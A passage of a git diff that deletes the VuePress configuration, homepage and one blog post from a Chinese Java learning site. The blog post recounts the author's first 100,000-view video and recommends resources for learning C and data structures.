- children: [
- {
- text: "Elasticsearch入门",
- link: "elasticsearch/rumen"
- },
- {
- text: "聊聊ZooKeeper",
- link: "zookeeper/jibenjieshao"
- },
- {
- text: "聊聊微服务网关",
- link: "microservice/api-wangguan"
- },
- ],
- },
- ],
- },
- {
- text: "四、MySQL",
- collapsible: true,
- prefix: "mysql/",
- children: [
- "install",
- "database",
- "table",
- "data-type",
- "charset",
- "bin",
- "column",
- "select-simple",
- "select-where",
- "redis-shuju-yizhixing",
- "lijie-shiwu",
- "shiwu-shixian",
- ],
- },
- {
- text: "五、Redis",
- collapsible: true,
- prefix: "redis/",
- children: [
- "install",
- "rumen",
- "xuebeng-chuantou-jichuan",
- ],
- },
- {
- text: "六、计算机基础",
- collapsible: true,
- prefix: "cs/",
- children: [
- {
- text: "计算机操作系统",
- link: "os",
- },
- {
- text: "计算机网络",
- link: "wangluo",
- },
- ],
- },
- {
- text: "七、求职面试",
- collapsible: true,
- children: [
- {
- text: "面试题&八股文",
- collapsible: true,
- prefix:"interview/",
- children: [
- "java-34",
- "java-hashmap-13",
- "mysql-60",
- "mysql-suoyin-15",
- "redis-12",
- "nginx-40",
- "dubbo-17",
- "kafka-40",
- "java-basic-baguwen",
- "java-thread-baguwen",
- "java-jvm-baguwen",
- "mianshiguan-bigfile-miaochuan",
- "mianshiguan-fenkufenbiao",
- "mianshiguan-youhuiquan",
- ],
- },
- {
- text: "优质面经",
- collapsible: true,
- prefix:"mianjing/",
- children: [
- "shanganaliyun",
- "shezynmjfxhelmtttjddd",
- "xuelybdzheloffer",
- "huanxgzl",
- "quzjlsspdx",
- "zheisnylzldhzd",
- "chengxyspnhxagzl",
- ],
- },
- {
- text: "面试准备",
- collapsible: true,
- children: [
- "nice-article/weixin/zijxjjdyfqzgl",
- "nice-article/weixin/miansmtgl",
- "nice-article/weixin/luoczbmsddyb",
- "nice-article/weixin/youdxzhhmjzlycfx",
- ],
- },
- {
- text: "城市选择",
- prefix: "cityselect/",
- collapsible: true,
- children: [
- "wuhan",
- "beijing",
- "chengdu",
- "guangzhou",
- "hangzhou",
- "nanjing",
- "qingdao",
- "shenzhen",
- "suzhou",
- "xian",
- "zhengzhou",
- "jinan",
- "hefei",
- ],
- },
- ],
- },
- {
- text: "八、学习建议",
- collapsible: true,
- prefix: "xuexijianyi/",
- children: [
- "LearnCS-ByYourself",
- "read-csapp",
- "electron-information-engineering",
- "gaokao-zhiyuan-cs",
- "test-programmer-read-books",
- "xiaozhao-java-should-master",
- "chengxuyuan-fuye",
- "ruhzfzdgzzcxcz",
- "gaobingfa-jingyan-hsmcomputer",
- "hr-xinzi",
- "35-weiji",
- "20ren-it-quma",
- "benkesheng-ali-tengxun",
- "408",
- ],
- },
- {
- text: "九、知识库搭建",
- collapsible: true,
- prefix: "szjy/",
- children: [
- "buy-cloud-server",
- "install-baota-mianban",
- "buy-domain",
- "record-domain",
- "https-domain",
- ],
- },
- {
- text: "十、联系作者",
- collapsible: true,
- prefix: "about-the-author/",
- children: [
- "bzhan-10wan",
- "zhihu-1000wan",
- "csdn-1000wan",
- "readme.md",
- ],
- },
- ],
-});
diff --git a/docs/src/.vuepress/styles/config.scss b/docs/src/.vuepress/styles/config.scss
deleted file mode 100644
index 9ee070e283..0000000000
--- a/docs/src/.vuepress/styles/config.scss
+++ /dev/null
@@ -1,5 +0,0 @@
-// you can change config here
-$colors: #c0392b, #d35400, #f39c12, #27ae60, #16a085, #2980b9, #8e44ad, #2c3e50,
- #7f8c8d !default;
- $code-light-theme: "one-light";
- $code-dark-theme: "one-dark";
\ No newline at end of file
diff --git a/docs/src/.vuepress/styles/index.scss b/docs/src/.vuepress/styles/index.scss
deleted file mode 100644
index b1c041fc6a..0000000000
--- a/docs/src/.vuepress/styles/index.scss
+++ /dev/null
@@ -1,5 +0,0 @@
-// place your custom styles here
-.theme-hope-content img {
- // 加一个边框
- border: 1px solid #eee;
-}
\ No newline at end of file
diff --git a/docs/src/.vuepress/styles/palette.scss b/docs/src/.vuepress/styles/palette.scss
deleted file mode 100644
index 503b8a88e7..0000000000
--- a/docs/src/.vuepress/styles/palette.scss
+++ /dev/null
@@ -1,9 +0,0 @@
-// you can change colors here
-// 颜色
-$theme-color: #096dd9;
-
-// 左侧菜单栏的宽度
-$sidebar-mobile-width: 16rem;
-
-// 字体
-$font-family: '-apple-system, "Microsoft YaHei", sans-serif';
\ No newline at end of file
diff --git a/docs/src/.vuepress/theme.ts b/docs/src/.vuepress/theme.ts
deleted file mode 100644
index 223ef02115..0000000000
--- a/docs/src/.vuepress/theme.ts
+++ /dev/null
@@ -1,291 +0,0 @@
-import { hopeTheme } from "vuepress-theme-hope";
-
-import navbar from "./navbar.js";
-import sidebar from "./sidebar.js";
-
-export default hopeTheme({
- hostname: "https://tobebetterjavaer.com",
- // 网站图标
-
- author: {
- name: "沉默王二",
- url: "/about-the-author/",
- },
-
- // 阿里妈妈图标的前缀
- iconPrefix: "iconfont icon-",
-
- logo: "https://cdn.paicoding.com/tobebetterjavaer/images/logo-02.png",
-
- // Git 仓库和编辑链接
- repo: "https://github.com/itwanger/toBeBetterJavaer",
- repoLabel: "GitHub",
- docsDir: "docs/src/",
- // 以前的默认仓库分支名,方便提交 pr 和 issue
- docsBranch: "master",
- breadcrumb: false,
-
- // 全屏按钮
- fullscreen: true,
- // 在深色模式,浅色模式和自动之间切换 (默认)
- darkmode: "switch",
-
- // 导航栏
- navbar,
-
- // 侧边栏
- sidebar,
-
- // 页脚支持
- footer: '豫ICP备2024097096号-4'
- +'
'
- +''
- +'豫公网安备 41030502000411号'
- +'',
- displayFooter: true,
-
- // 加密
- encrypt: {
- config: {
- // 这只会加密 config/page.html
- "/nice-article/itmind/ideapjazjczxjhmzcmyjjhcxgxz.html": ["1110", "5210"],
- "/nice-article/itmind/webstormjhmwebstormwdzsjhmxbxt.html": ["1110", "5210"],
- "/nice-article/itmind/sublimetextzcmpjazjcqckyxbxt.html": ["1110", "5210"],
- },
- },
- // 提示文字
- encryptLocales: {
- placeholder: "微信搜‘沉默王二’回复‘密码’获取口令",
-
- /**
- * Passwrod error hint
- */
- errorHint: "哈哈,别调戏人家啦,按规则来嘛",
- },
-
- // 多语言配置
- metaLocales: {
- editLink: "在 GitHub 上编辑此页",
- },
-
- // 文章信息,可以填入数组,数组的顺序是各条目显示的顺序
- pageInfo: ["Author", "Original", "Date", "Category", "Tag", "Word","ReadingTime"],
-
- blog: {
- // 个人介绍页地址
- intro: "/about-the-author/",
- sidebarDisplay: "mobile",
- // 博主头像
- avatar: "/assets/icon/itwanger-282.png",
- // 座右铭
- description:"没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟。",
- medias: {
- Zhihu: "https://www.zhihu.com/people/cmower",
- CSDN: "https://blog.csdn.net/qing_gee",
- Github: "https://github.com/itwanger",
- Gitee: "https://gitee.com/itwanger",
- },
- },
-
- // 如果想要实时查看任何改变,启用它。注: 这对更新性能有很大负面影响
- // hotReload: true,
-
- // 在这里配置主题提供的插件
- plugins: {
- blog: true,
- // 注意: 仅用于测试! 你必须自行生成并在生产环境中使用自己的评论服务
- comment: {
- provider: "Giscus",
- repo :"itwanger/tobebetterjavaer-giscus",
- repoId:"R_kgDOHBJssg",
- category:"Announcements",
- categoryId:"DIC_kwDOHBJsss4COJOx",
- },
-
- components: {
- components: ["Badge", "VPCard"],
- },
-
- // 此处开启了很多功能用于演示,你应仅保留用到的功能。
- mdEnhance: {
- align: true,
- attrs: true,
- codetabs: true,
- component: true,
- demo: true,
- // 启用 figure,为图像添加描述
- figure: true,
- // 启用图片懒加载
- imgLazyload: true,
- // 启用图片大小
- imgSize: true,
- include: true,
- mark: true,
- plantuml: true,
- spoiler: true,
- stylize: [
- {
- matcher: "Recommended",
- replacer: ({ tag }) => {
- if (tag === "em")
- return {
- tag: "Badge",
- attrs: { type: "tip" },
- content: "Recommended",
- };
- },
- },
- ],
- sub: true,
- sup: true,
- tabs: true,
- // 支持任务列表
- tasklist: true,
- vPre: true,
-
- // 在启用之前安装 chart.js
- // chart: true,
-
- // insert component easily
-
- // 在启用之前安装 echarts
- // echarts: true,
-
- // 在启用之前安装 flowchart.ts
- // flowchart: true,
-
- // gfm requires mathjax-full to provide tex support
- // gfm: true,
-
- // 在启用之前安装 katex
- // katex: true,
-
- // 在启用之前安装 mathjax-full
- mathjax: true,
-
- // 在启用之前安装 mermaid
- // mermaid: true,
-
- // playground: {
- // presets: ["ts", "vue"],
- // },
-
- // 在启用之前安装 reveal.js
- // revealJs: {
- // plugins: ["highlight", "math", "search", "notes", "zoom"],
- // },
-
- // 在启用之前安装 @vue/repl
- // vuePlayground: true,
-
- // install sandpack-vue3 before enabling it
- // sandpack: true,
- },
-
- notice: [
- {
- match: /^(?!\/zhishixingqiu\/).*$/,
- title: "二哥的编程星球",
- content: "这是一个简历精修 + 编程项目实战 + Java 面试指南 + LeetCode 刷题的私密圈子,已经有 11000+ 名球友加入(即将涨价至 179 元)",
- actions: [
- {
- text: "这就去加入",
- link: "https://javabetter.cn/zhishixingqiu/",
- type: "primary",
- },
- { text: "简历精修", link: "https://javabetter.cn/zhishixingqiu/jianli.html" },
- ],
- },
- ],
-
- docsearch: {
- appId: "O566AMFNJH",
- apiKey: "d9aebea8bd1a4f1e01201464bbab255f",
- indexName: "tobebetterjavaer",
- locales: {
- "/": {
- placeholder: "搜索文档",
- translations: {
- button: {
- buttonText: "搜索文档",
- buttonAriaLabel: "搜索文档",
- },
- modal: {
- searchBox: {
- resetButtonTitle: "清除查询条件",
- resetButtonAriaLabel: "清除查询条件",
- cancelButtonText: "取消",
- cancelButtonAriaLabel: "取消",
- },
- startScreen: {
- recentSearchesTitle: "搜索历史",
- noRecentSearchesText: "没有搜索历史",
- saveRecentSearchButtonTitle: "保存至搜索历史",
- removeRecentSearchButtonTitle: "从搜索历史中移除",
- favoriteSearchesTitle: "收藏",
- removeFavoriteSearchButtonTitle: "从收藏中移除",
- },
- errorScreen: {
- titleText: "无法获取结果",
- helpText: "你可能需要检查你的网络连接",
- },
- footer: {
- selectText: "选择",
- navigateText: "切换",
- closeText: "关闭",
- searchByText: "搜索提供者",
- },
- noResultsScreen: {
- noResultsText: "无法找到相关结果",
- suggestedQueryText: "你可以尝试查询",
- },
- },
- },
- },
- },
- },
-
- // 如果你需要 PWA。安装 @vuepress/plugin-pwa 并取消下方注释
- pwa: {
- update: "hint",
- favicon: "https://cdn.paicoding.com/tobebetterjavaer/images/favicon.ico",
- cacheHTML: true,
- cacheImage: true,
- appendBase: true,
- apple: {
- icon: "/assets/icon/apple-icon-152.png",
- statusBarColor: "black",
- },
- msTile: {
- image: "/assets/icon/ms-icon-144.png",
- color: "#ffffff",
- },
- manifest: {
- icons: [
- {
- src: "/assets/icon/chrome-mask-512.png",
- sizes: "512x512",
- purpose: "maskable",
- type: "image/png",
- },
- {
- src: "/assets/icon/chrome-mask-192.png",
- sizes: "192x192",
- purpose: "maskable",
- type: "image/png",
- },
- {
- src: "/assets/icon/chrome-512.png",
- sizes: "512x512",
- type: "image/png",
- },
- {
- src: "/assets/icon/chrome-192.png",
- sizes: "192x192",
- type: "image/png",
- },
- ],
- },
- },
- },
-});
diff --git a/docs/src/README.md b/docs/src/README.md
deleted file mode 100644
index ba70e158df..0000000000
--- a/docs/src/README.md
+++ /dev/null
@@ -1,208 +0,0 @@
----
-home: true
-icon: home
-title: 主页
-heroImage: https://cdn.paicoding.com/tobebetterjavaer/images/logo.png
-heroText: 二哥的Java进阶之路
-tagline: 沉默王二BB:这是一份通俗易懂、风趣幽默的Java学习指南,内容涵盖Java基础、Java并发编程、Java虚拟机、Java企业级开发、Java面试等核心知识点。学Java,就认准二哥的Java进阶之路😄
-actions:
- - text: 立马上路→
- link: /home.md
- type: primary
- - text: 二哥的编程星球
- link: /zhishixingqiu/
- type: default
-footer: |-
- 豫ICP备2024097096号-4 | 主题: VuePress Theme Hope
----
-
-## 推荐阅读
-
-- [学习路线👉](/xuexiluxian/) : 一份涵盖 Java、MySQL、Redis、C 语言、C++、Python、Go、操作系统、前端、数据结构与算法、蓝桥杯、大数据、Android、.NET、Linux 的全方位编程学习路线!清晰且有效!
-- [面渣逆袭📗](sidebar/sanfene/nixi.md) :面试前必刷,硬核理解版八股文,包括 Java 基础(JavaSE)、Java 集合框架、Java 并发编程(Java 多线程)、Java 虚拟机(JVM)、Spring、Redis、MyBatis、MySQL、操作系统、计算机网络、RocketMQ、分布式、微服务、设计模式、Linux 等等,助你拿到心仪 offer!
-- [Java程序员常读书单📚](/pdf/):超1000本PDF,助力Java 程序员构建最强知识体系,涵盖Java、设计模式、数据库、数据结构与算法、大数据、架构、其他编程语言等等,再也不用辛苦去找下载地址了,这里全都有。
-- [技术派实战项目](https://github.com/itwanger/paicoding) :⭐️一款好用又强大的开源社区,附详细教程,包括Java、Spring、MySQL、Redis、微服务&分布式、消息队列、操作系统、计算机网络、数据结构与算法等计算机专业核心知识点。学编程,就上技术派😁。
-
-## 公众号
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
-
-
-## star趋势图
-
-[](https://star-history.com/#itwanger/toBeBetterJavaer&Date)
-
-## 捐赠鼓励
-
-开源不易,如果《二哥的Java进阶之路》对你有些帮助,可以请作者喝杯咖啡,算是对开源做出的一点点鼓励吧!
-
-
-

-
-
-:gift_heart: 感谢大家对我资金的赞赏,每隔一个月会统计一次。
-
-时间|小伙伴|赞赏金额
----|---|---
-2024-10-06|*天|10元
-2024-10-04|2*2|20元
-2024-09-25|c*l|1元
-2024-09-14|.*6|1.9元
-2024-08-16|*了|20元
-2024-08-14|*李|0.66元
-2024-08-12|*Z|6.66元
-2024-08-09|*峰|2元
-2024-07-13|*运|20元
-2024-07-01|*风|1元
-2024-06-30|*迷|1元
-2024-06-23|*瓦|1元
-2024-06-17|*芒|5元
-2024-06-13|*啊|9.99元
-2024-06-03|S*d|1元
-2024-05-23|*气|3元
-2024-05-22|w*r|6.6元
-2024-05-01|*笑|0.01元
-2024-04-24|1*0|3元
-2024-04-10|迷*x|21元
-2024-04-08|*青|5元
-2024-04-08|敲不出来的一个符号|1元
-2024-04-07|*i|0.01元
-2024-04-06|*牛|10元
-2024-04-03|Y*T|10元
-2024-04-02|B*E|2元
-2024-03-20|*卡|1元
-2024-03-18|*嘎|6.66元
-2024-03-17|*兴|0.01元
-2024-03-12|*鹏|0.02元
-2024-03-12|y*u|0.01元
-2024-02-29|r*y|6元
-2024-02-23|*~|9.99元
-2024-02-21|从头再来|5元
-2024-02-15|*斗|10元
-2024-02-02|*切|2元
-2024-02-01|*康|9元
-2024-01-31|*康|1元
-2024-01-22|*妙|10元
-2024-01-17|*清|9.9元
-2024-01-12|*奥|5元
-2024-01-04|*👈🏻|1元
-2024-01-03|*|3元
-2024-01-03|Y*o|2元
-2023-12-22|*逗|50元
-2023-11-25|*君|2元
-2023-10-23|*🐻|6.66元
-2023-10-17|*哈|5元
-2023-10-12|0*7|7.77元
-2023-10-03|S*d|0.5元
-2023-09-27|*1|1元
-2023-09-25|L*e|10.24元
-2023-09-19|*人|2元
-2023-09-15|L*D|2元
-2023-09-15|*暖|5元
-2023-09-11|A*B|1元
-2023-08-21|*氏|2元
-2023-08-18|*寻|1元
-2023-08-03|*案|10.24元
-2023-08-02|*,|1元
-2023-07-24|m*l|3元
-2023-07-20|lzy|6元
-2023-07-14|s*!|2元
-2023-07-02|*晴|1元
-2023-06-26|*雨|6.66元
-2023-06-21|*航|6元
-2023-06-21|*狼|3元
-2023-06-19|*定|2元
-2023-06-18|*道|5元
-2023-06-16|* 文|1元
-2023-06-14|G*e|66.6元
-2023-06-07|*.|0.5元
-2023-05-23|*W|5元
-2023-05-19|*飞|6元
-2023-05-10|c*r|1元
-2023-04-26|r*J|10.24元
-2023-04-22|*明|1元
-2023-04-09|* 刀|10元
-2023-04-03|*意|0.02元
-2023--03-17|*昌|8 元
-2023-03-16|~*~|66.6 元
-2023-03-15|*枫|6.6 元
-2023-03-10|十年|1 元
-2023-03-04|*风|5 元
-2023-02-26|一个表情(emoji)|1 元
-2023-02-23|曹*n|5元
-2023-02-11|昵称加载中.|6.6元
-2023-02-09|*明|10元
-2023-02-09|*风|5元
-2023-02-09|*z|3元
-2023-02-09|*夫|10元
-2023-02-08|*宝|5 元
-2023-01-18|*念|0.01元
-2023-01-18|*来|1元
-2023-01-10|*A*t|1元
-2023-01-07|*忠|5元
-2023-12-02|g*g|0.1元
-2022-11-13|*王|5元
-2022-11-10|*车|1元
-2022-11-10|F*k|1元
-2022-11-05|*H|3元
-2022-11-04|*金|0.02元
-2022-11-04|*尘|15元
-2022-11-02|*峰|1元
-2022-10-29|~*~|6元
-2022-10-28|k*k|1元
-2022-10-20|*电|2元
-2022-10-15|*深|5元
-2022-09-30|*君|1元
-2022-09-28|*懂|1元
-2022-09-27|*府|1元
-2022-09-23|*问号(emogji)|5元
-2022-09-23|H*n|1元
-2022-09-23|*a|0.01元
-2022-09-08|*👀|20元
-2022-09-07|丹*1|20元
-2022-08-27|*夹|40元
-2022-07-06|体*P|2元
-2022-07-05|*谦|5元
-2022-06-18|*杰|2元
-2022-06-15|L*c|15元
-2022-06-10|*❤|1元
-2022-06-09|'*'|1元
-2022-06-07|*勇|1元
-2022-06-03|*鸭|1元
-2022-05-12|*烟|10元
-2022-04-25|*思|5元
-2022-04-20|w*n|1元
-2022-04-12|E*e|10 元
-2022-03-19|*风|9.9元
-2022-03-04|袁晓波|99元
-2022-02-17|*色|1元
-2022-02-17|M*y|1元
-2022-01-28|G*R|6.6元
-2022-01-20|*光|50元
-2022-01-14|*浩|1元
-2022-01-01|刚*好|3.6元
-2022-01-01|马*谊|6.6元
-2021-12-20|t*1|5 元
-2021-10-26|*猫|28 元
-2021-10-11|*人|28 元
-2021-09-28|*人|1 元
-2021-09-05|N*a|3 元
-2021-09-02|S*n|6.6 元
-2021-08-21|z*s|3 元
-2021-08-20|A*g|10 元
-2021-08-09|*滚|0.1 元
-2021-08-02|*秒|1 元
-2021-06-13|*7| 28 元
-2021-05-04|*学|169 元
-2021-04-29|p*e|2 元
-2021-04-28|追风筝的神|1 元
-
-## 参与贡献
-
-1. 如果你对本项目有任何建议或发现文中内容有误的,欢迎提交 issues 进行指正。
-2. 对于文中我没有涉及到知识点,欢迎提交 PR。
\ No newline at end of file
diff --git a/docs/src/about-the-author/bzhan-10wan.md b/docs/src/about-the-author/bzhan-10wan.md
deleted file mode 100644
index 503848d6d3..0000000000
--- a/docs/src/about-the-author/bzhan-10wan.md
+++ /dev/null
@@ -1,248 +0,0 @@
----
-category:
- - 联系作者
-tag:
- - 心路历程
----
-
-# 我的第一个,10 万(B站视频播放)
-
-恭喜这个 B。。。。。。站上的 UP,上一期视频播放量突破了 10 万!这也是二哥人生当中的第一次,凭借单条视频突破 10 万播放,必须得纪念下。
-
-
-
-
-
-
-从众多的宫斗剧中我得出了一条宝贵的人生经验:“母凭子贵”。这条经验同样适用于二哥本人,可能会因为这一期视频,吹这辈子最多的牛逼:这不,荣获哔哩哔哩第 3 周【校园优秀奖&校园新星奖】。
-
-
-
-我已经按捺不住激动的心情,在两万人的朋友圈大肆炫耀了。十万播放,对于百大 UP 来说,可能就是分分钟的事,可对于我这个(未来的) B站百大来说,苦苦等了 149 天!!!!!!!
-
-这真是一个漫长的日子,鬼知道这些天我经历了什么。
-
-我一度怀疑自己到底适不适合拍视频,表情的僵硬,普通话的塑料,甚至连自己一项引以为荣的台本,都觉得拉胯。
-
-可就因为这个视频,让我重获新生,亢奋的心情一直在持续。我知道,一条视频的播放突破 10 万,并不意味着下一个视频也会有 10 万的播放,但好歹能让我感到幸福会,至少可以“厚颜无耻”地再吹一次牛皮吧!
-
-昨天的文章里,承诺新的一年 2022 年把肝重新交给大家,我就会说到做到:这年头,职场就流行这个“沙雕”文化,**你有没有能力不重要,重要的是领导交代你的有没有去执行**。
-
-二哥打算豁出去了!
-
-新一期视频也上传到 B 站了,希望能借英雄哥的吉言,再爆一次。链接我放这里了:
-
->https://www.bilibili.com/video/BV1za411q79U/
-
-三不三连没关系,有关系的是不三连可能会对不起二哥的肝,所以还是三连吧,哈哈哈哈,瞧瞧我们这该死的生物钟,起这么早。。。
-
-
-
-接下来,上干货,我把这期 10万+ 播放的视频台本重新整理了一下,本来不想发的,很多小伙伴私信说二哥偏爱 B 站,同步都懒得同步了吗?
-
-这不,赶紧发到公众号上来,希望学生党们现在立刻马上收藏起来,这个寒假你会过得非常充实;至于工作党嘛,像二哥这样的,既要工作,又要读书写作照顾家庭的,忙都忙死了,就算了吧!
-
-
-
-啊,不,还是要稍微卷一卷吧,免得被那群还有半年就毕业的家伙们拍死在沙滩上。。。。
-
-------
-
-二哥的读者当中有不少大学生,所以当知乎上刷到这个题目时:
-
->“学校课程规划的比较奇怪,大一上学期学c++,下学期学python,在寒假我是应该复习或预习课内内容(python,c++),还是自己对外拓展呢(c,数据结构)?”
-
-立马就冲上去答了一波。
-
-**就冲这份爱学习的决心,三年后绝对互联网公司的 offer 拿到手软**!
-
-讲真,小伙伴学校安排的课程和我当年非常相似,也是大一上来就搞 Java,隔壁班上来就搞 C++,完全没有安排 C语言来过渡下。
-
-所以我的建议是,**趁寒假打打王者上上分吧**!
-
-
-
-啊,不!**趁寒假刷一波清华在 GitHub 上 20k+ star 的开源课程吧**!
-
-## 一、清华大学在 GitHub 上的开源课程
-
-
-
->地址:https://github.com/PKUanonym/REKCARC-TSC-UHT
-
-
-
-我来带小伙伴们过一下清华的课程安排哈,主要是针对计算机专业的。
-
-大一上的计算机基础课程有:计算机科学导论、程序设计基础
-
-大一下有:面向对象程序设计基础
-
-大二上有:数据结构
-
-大二下有:人工智能导论、计算机图形学基础、高性能计算导论
-
-大三上有:计算机组成原理、计算机网络原理、编译原理、软件工程、数据库系统概论、人工神经网络、计算机网络安全技术、人机交互理论与技术
-
-大三下有:操作系统、计算机系统结构、机器学习概论、数据挖掘、搜索引擎技术基础、存储技术基础、数据库专题训练、计算机网络专题训练。
-
-大四主要是实践、实习、毕设等,剩下的计算机课程主要有网络安全工程与实践、嵌入式系统。
-
-可以看得出,大一大二基本上是在摸鱼状态,大三突然开始发力,各种计算机基础课程,非常疯狂!
-
-不过:
-
-有志者事竟成,破釜沉舟,百二秦关终属楚;
-苦心人天不负,卧薪尝胆,三千越甲可吞吴!
-
-## 二、学习 C语言
-
-**推荐一本书,两门视频课**。
-
-书是电子书,书名叫《阮一峰的 C语言入门课》,我第一时间就拜读了一遍,受益匪浅!可以说目前我见到的最好的 C语言入门教程了,没有之一!国内的绝大多数高校,大一都会安排 C 语言这门课,阮一峰了老师的这份《C语言入门教程》,绝对是福音。
-
-视频课是浙江大学翁恺教授的,一门《C语言程序设计入门》,一门《C语言程序设计进阶》。
-
-学完这些,大家至少能学会下面这幅思维导图中列出来的内容。
-
-
-
-更多 C 语言的学习内容,可以戳下面这个链接,之前在公众号上发过了,这里就不再复制粘贴了:
-
-[大一新生应该如何学习C语言,书上代码看不懂理解不了怎么办?](https://mp.weixin.qq.com/s/cZq24FJto2gJYWVhbhNBnQ)
-
-## 三、学习数据结构
-
-什么是数据结构?
-
->数据结构是一种具有一定逻辑关系,在计算机中应用某种存储结构,并且封装了相应操作的数据元素集合。它包含三方面的内容,逻辑关系、存储关系及操作。不同种类的数据结构适合于不同种类的应用,而部分甚至专门用于特定的作业任务。例如,计算机网络依赖于路由表运作,B 树高度适用于数据库的封装。
-
-菜鸟教程上对数据结构的定义我觉得还是蛮正式(官方)的,说人话就是,**数据结构就是把一堆数据,按照某种格式揉成一坨**。
-
-大家喜欢吃宫保鸡丁吗?
-
-反正我挺喜欢这道菜的。我就以宫保鸡丁为例,来讲一讲数据结构吧。维基百科上是这样定义的。
-
-
->宫保鸡丁(英语:Kung Pao chicken或Kung-Pao Chicken),又称宫爆鸡丁,呈糊辣荔枝味,源于黔菜、流传至鲁而后成于川菜的一道川味名菜。贵州、山东和四川三地对这道菜的做法不完全一样,称呼也有差异。贵州称为糊辣子鸡丁,山东则名为酱爆鸡丁,而四川是以宫保鸡丁为名的。
-
-
-来,抽象下宫保鸡丁。
-
-```c
-struct KungPaoChicken {
- 鸡肉 = []
- 花生 = []
- 葱段 = []
- 花椒 = []
- 辣椒 = []
-}
-```
-
-这个结构体(struct 是 C 语言中的一个概念)就是一个自定义的数据结构,将很多不同的配料融合在了一起。对于计算机的数据结构来说,只不过是把这些配料换成了基本数据类型。
-
-拿 Java 来举例,基本的数据类型有 int、char、double 这些,复杂点的有 String(引用数据类型),底层是 char 型的数组,而那些自定义的类型不过是对基本数据类型和引用类型的封装。
-
-抽象完宫保鸡丁再来抽象一下二哥吧。
-
-```java
-class 二哥 {
- int age = 18;
- double 体重 = 65kg;
-
- void eat(宫保鸡丁) {
- 体重 += 1kg;
- }
-}
-```
-
-伪代码不是很严谨哈,大家理解这个意思就行了。
-
-说到底,数据结构不过是一种抽象后的封装。像 Java,它之所以流行的一个很重要的原因,就是它提供了多种多样的、方便开发者调用的数据结构,比如说对数组的封装 ArrayList、对链表的封装 LinkedList、对哈希表的封装 HashMap、ConcurrentHashMap 等等。C 语言就没有这些,想用的话,就得自己封装。但 Java 和 C 语言的基本数据类型是一致的,int、float 这些都是相通的。
-
-对于初学者来说,平常敲代码都是直接去调用数据结构的,是很少去想这些数据结构是怎么实现的。
-
-当一个初学者向高级程序员迈进的时候,就必须得静下心来,去搞清楚 ArrayList 和 LinkedList 的内部实现,搞清楚之后就会明白,之所以它们在增删改查的时候性能上有差异,就是因为它们的内部使用了不同的数据结构所导致的。
-
-有一说一,我在 2008 年刚学 Java 的那会,真的是不理解,为什么明明有了 ArrayList,Java 还要设计 LinkedList,不都是集合嘛!
-
-害!
-
-**数据结构为什么这么重要?**
-
-我直接放大招吧,甩一段清华大学计算机系教授邓俊辉老师话吧。
-
-> 数据结构是计算机科学的关键内容,也是构建高效算法的必要基础。其中涉及的知识,在相关专业的课程系统中始终处于核心位置。以 ACM/IEEE
-> Computing
-> Curricula(计算机教学大纲)为例,其中对于几个相关专业(计算机科学、计算机工程、信息系统、信息技术、软件工程)的共同要求中,数据结构与算法作为程序设计概念与技能的核心,紧随在数学之后,排在第二位。
-
-数据结构说复杂也不复杂,说简单也不简单,这不重要,重要的是必须得学!
-
-有小伙伴可能会问,“我数学学的不好,学数据结构能学会吗?”
-
-说句实在话,数据结构和数学之间没有必然的关系。**我上小学的时候,参加过洛阳市的奥林匹克数学竞赛,还得了三等奖**(偷偷地加个粗);初中的时候,数学成绩也一直保持得不错,但上了高中之后,由于贪玩,数学成绩一落千丈,成了瘸腿课。大学的时候对离散数学、微积分这些更是头大。
-
-但这并不妨碍我学习数据结构,真的。数据结构中,树算是最难的一块了,像数组、链表、栈、哈希表这些相对来说,计算机专业的,只要稍微下点功夫,都是能掌握的。
-
-说了这么多,**数据结构到底该怎么学呢?**
-
-如果你有 C/C++ 的底子,我给推荐两本书。
-
-第一本,《趣学数据结构》
-
-
-
-说到这,多说一嘴。2018 年的时候,人民邮电出版社的张老师邀请我出一本 Java 方面的书,我当时想命名为《趣学 Java》。张老师说,刚好之前和陈小玉老师合作出了一本《趣学算法》的书,要不发一本你看看吧。
-
-你别说,这本书还挺适合拿来作为算法的入门书呢。后来,陈小玉老师又出了一本新书,叫《趣学数据结构》,我看了,虽然离“趣”字有点距离,但很适合作为一门数据结构方面的入门书。
-
-第二本,《数据结构(C++语言版)》
-
-
-
-对,清华大学邓俊辉教授编著的,豆瓣评分也蛮高的。这本书还配套了视频课程,是免费的,可以在学堂在线上看,我之前也有推荐过。
-
-
-
-
-课程质量木得说,算是国家级精品课了。大家有时间的话,一定要刷一遍。
-
->视频地址:https://www.xuetangx.com/course/THU08091000384/7755489
-
-对了,还有浙江大学陈越姥姥的视频课:
-
->视频地址:https://www.bilibili.com/video/BV1JW411i731
-
-如果你有 Java 的底子,我也给推荐两本书。
-
-第一本,《数据结构与算法分析(Java 语言描述)》
-
-
-
-虽然翻译得不怎么样,但内容很全面,适合拿来作为一本数据结构的入门书。
-
-第二本,《算法(第 4 版)》
-
-
-
-虽然名为算法,但大家都知道,算法是基于数据结构的,数组、队列、栈、堆、二叉树、哈希表等等,这些数据结构都讲到了。
-
-如果时间比较紧的话,C/C++ 程序员只看《数据结构(C++语言版)》就行了,Java 程序员只看《算法(第 4 版)》就行了。如果一遍没看懂的话,再看一遍就好了。
-
-有网友“三色院堇子的老公”说得好。
-
-> 数据结构就是你已经写了几百万行,然后数据结构减到 90 万行,性能还翻倍,嗯,终于学会了!
-
-## 四、走心总结
-
-2022 年 1 月份,很有必要开个好头。
-
-那么趁寒假刷一波清华在 GitHub 上的开源课程,还有 C语言和数据结构,寒假过后,绝壁是卷王中的卷王。
-
-悄悄地告诉大家一声,很多说放假了一定要打打游戏,一定要放松下,这些人都在悄悄地卷。
-
-所以说,如果你是正在放松的那个,可要小心了!
-
-不要一个寒假就被甩开了差距。
-
-工作党其实也一样,适当放松,时刻警惕,该学的时候还是要能支棱起来。
diff --git a/docs/src/about-the-author/csdn-1000wan.md b/docs/src/about-the-author/csdn-1000wan.md
deleted file mode 100644
index fce9224f7b..0000000000
